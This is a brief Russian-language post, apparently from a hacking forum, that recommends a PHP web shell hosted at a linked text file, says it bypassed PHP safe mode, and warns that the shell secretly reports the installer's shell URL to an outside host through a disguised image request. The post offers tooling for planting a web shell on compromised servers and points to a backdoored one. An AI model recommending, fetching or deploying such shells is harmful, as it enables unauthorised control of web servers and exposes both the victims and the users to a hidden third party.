Попробуй этот шел.
http://stashbox.org/823273/4e.txt
У меня обход safe mod'a сработал.
Только имей ввиду, что он отсылает данные на http://fx0.name/spec/index.php/pic.png?a=http://host/your_shell.php
Так что используй на свой страх и риск.